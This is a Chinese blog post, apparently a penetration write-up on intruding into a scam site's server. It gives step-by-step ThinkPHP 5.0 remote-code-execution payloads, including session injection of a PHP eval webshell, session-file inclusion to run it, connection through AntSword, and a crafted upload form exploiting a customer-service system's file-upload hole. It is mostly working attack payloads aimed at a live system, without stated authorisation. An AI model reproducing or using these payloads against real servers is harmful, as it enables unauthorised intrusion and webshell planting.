最近接到任务,调查一个诈骗团伙

直接先用tp5rce打出phpinfo看

s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo


看来禁的函数比较多,这个时候用tp5的rce和写shell就比较困难,使用tp5日志包含和session包含来getshell就十分的方便。
日志包含还需要去找文件,我这里就直接是session包含来getshell
先通过设置session会话并传入一句话木马

?s=captcha
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1


然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid

?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();


它这个页面没有上传点,只有自己构造一个上传页面了

<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data">
<label for="file">晨光客服上传</label>
<input type="file" name="editormd-image-file" id="editormd-image-file">
<input type="submit" name="submit" value="submit">
</form>

如果是上传index.php的话

这些诈骗团伙还理直气壮,有理有据,只会叫你越充越多,典型的杀猪盘

渗透总结:

1.注册一个测试账号

2通过报错,发现是tp5.0..10

3.使用TP5RCE查看phpinfo

s=captcha

post:

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

发现危险函数被禁用了

4.使用tp5日志包含和session包含来getshell

5.通过设置session会话并传入一句话木马

?s=captcha

post:

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

6.利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid

?s=captcha

post:

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();

7.通过蚁剑连上shell,需要把post传入的参数加在蚁剑连接的http body里面

8.通过后台源码查看发现客户服务后台。

9.发现服务后台为爱客服PHP在线客服系统,该系统存在文件上传漏洞

/admin/event/uploadimg


<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data">

<label for="file">晨光客服上传</label>

<input type="file" name="editormd-image-file" >

<input type="submit" name="submit" value="submit">

</form>



相关文章:

  • 2021-12-07
  • 2021-12-27
  • 2021-07-20
  • 2021-04-06
  • 2021-12-02
  • 2021-09-11
  • 2021-11-18
  • 2022-12-23
猜你喜欢
  • 2021-10-23
  • 2021-06-30
  • 2021-10-20
  • 2021-11-15
  • 2021-09-26
  • 2022-02-05
  • 2021-10-02
相关资源
相似解决方案